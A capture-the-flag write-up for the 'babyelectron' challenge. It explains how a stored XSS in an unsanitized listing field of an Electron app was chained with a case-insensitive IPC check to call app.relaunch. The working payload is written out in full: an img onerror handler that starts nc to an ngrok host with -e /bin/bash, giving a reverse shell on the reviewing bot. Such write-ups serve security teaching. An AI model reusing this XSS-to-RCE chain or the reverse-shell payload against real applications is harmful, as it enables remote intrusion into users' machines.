Description
So you wanted to get into Electron Pwning? Your friend found a nice app, leaked its backend source from a Github repo he found while doxing some Luxembourg Real Estate Company. Pwn away by getting RCE! If you run into problems while setting it up reach out. This is the first flagstore for babyelectron.
There are two flags: one in /flag which you can submit here and one in /printflag which you can submit at babyelectronV2
The challenge
The whole source code of the app, as well as the server-side code was provided.
The electon app could be used used to buy, sell and report real estate objects. You can also report a real estate listing, which is then checked by a bot. The goal is to get code execution of the machine of the bot, which is visiting the reported listing.
The solution
The solution comprised two steps:
- First, you needed to get XSS in the electron app.
- Second, you needed to abuse the IPC function and get RCE.
Setup
To make our lives easier, we started the electon app with: electron . --proxy-server=127.0.0.1:8080
to be able to route the traffic of the app through burp.
Furhtermore, we enabled the developer tools by commenting out: mainWindow.webContents.openDevTools()
in main.js
First step - Getting XSS
In the support.js function from the app
code, we see the following:
// security we learned from a bugbounty report
listing.msg = DOMPurify.sanitize(listing.msg)
const div = `
<div class="card col-xs-3" style="width: 18rem;">
<span id="REL-0-houseId" style="display: none;">${listing.houseId}</span>
<img class="card-img-top" id="REL-0-image" src="../${listing.image}" alt="REL-img">
<div class="card-body">
<h5 class="card-title" id="REL-0-name">${listing.name}</h5>
<h6 class="card-subtitle mb-2 text-muted" id="REL-0-sqm">${listing.sqm} sqm</h6>
<p class="card-text" id="REL-0-message">${listing.message}</p>
<input type="number" class="form-control" id="REL-0-price" placeholder="${listing.price}">
</div>
</div>
<div>
${listing.msg}
</div>
`
listing.msg does get sanitized, however the other parameter do not.
The idea is to get script execution using listing.message
parameter.
On the first impression its only possible to write the listing.msg parameter which gets posted with the report to get XSS. As its gets sanitized, this is not possible.
However, when selling a real estate you can specify the listing.message
when intercepting the message with burp.
So we altered the message parameter of to <img src=x onerror=\"alert(1);\">
Then, we checked if the XSS worked, by visiting the support page with out own electron app. Therefor we simply added a reference index.html s.t. it also had a link to the support page:
<li class="nav-item">
<a class="nav-link" href="../views/support.html">
Support
</a>
</li>
And also included links on the support.html page to navigate back to the other pages:
<div>
<a href="../views/index.html">Home</a>
<a href="../views/listings.html">Buy</a>
<a href="../views/portfolio.html">My Portfolio</a>
<a href="../views/support.html">Support</a>
</div>
We then navigated to the support page and intercepted the http request with burp and filled in the id, given when reporting the listing. Thus, we could confirm the XSS.
Step 2
Now we need to get RCE with the XSS.
Hacktricks has a nice atricle on how to get RCE from XSS in electon: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps
As contextIsolation is tured on - contextIsolation: true
in main.js, we figured, that we could give it a try via RCE via IPC.
The preload.js contained the following:
const RendererApi = {
invoke: (action, ...args) => {
return ipcRenderer.send("RELaction",action, args);
},
};
It looks like we have a ipc method called invoke
.
Lets check which function it allows us to execute in main.js:
app.RELbuy = function(listingId){
return
}
app.RELsell = function(houseId, price, duration){
return
}
app.RELinfo = function(houseId){
return
}
app.RElist = function(listingId){
return
}
app.RELsummary = function(userId){
return
}
ipcMain.on("RELaction", (_e, action, args)=>{
//if(["RELbuy", "RELsell", "RELinfo"].includes(action)){
if(/^REL/i.test(action)){
app[action](...args)
}else{
// ??
}
})
It looks like we can execute every method that starts with REL. However, the regex check is case insensitive.
Lets see if we can find an electon api app function whose name start with rel
that might be useful.
We find relaunch
https://www.electronjs.org/de/docs/latest/api/app
After a bit of trial and error and reading the docs, we could achive RCE with this javascript function:
api.invoke("relaunch", {args: ["4.tcp.ngrok.io", "133573", "-e", "/bin/bash"], execPath:"nc"})
Now we just needed to put that into our XSS script and let the bot visit it to get a reverse shell back.
We posted that to /sell:
"message" : "<img src=x onerror=\'api.invoke('relaunch', {args: ['4.tcp.ngrok.io', '133573', '-e', '/bin/bash'], execPath:'nc'})\">"
We then got the id back, which we then submitted to the bot and got a shell back. The shell only lasted for 15 secs, so we needed to be quick to print out both flag ^^. but after some attemts we got both flags.
Big thanks to Alain who helped a lot during the challenge. :)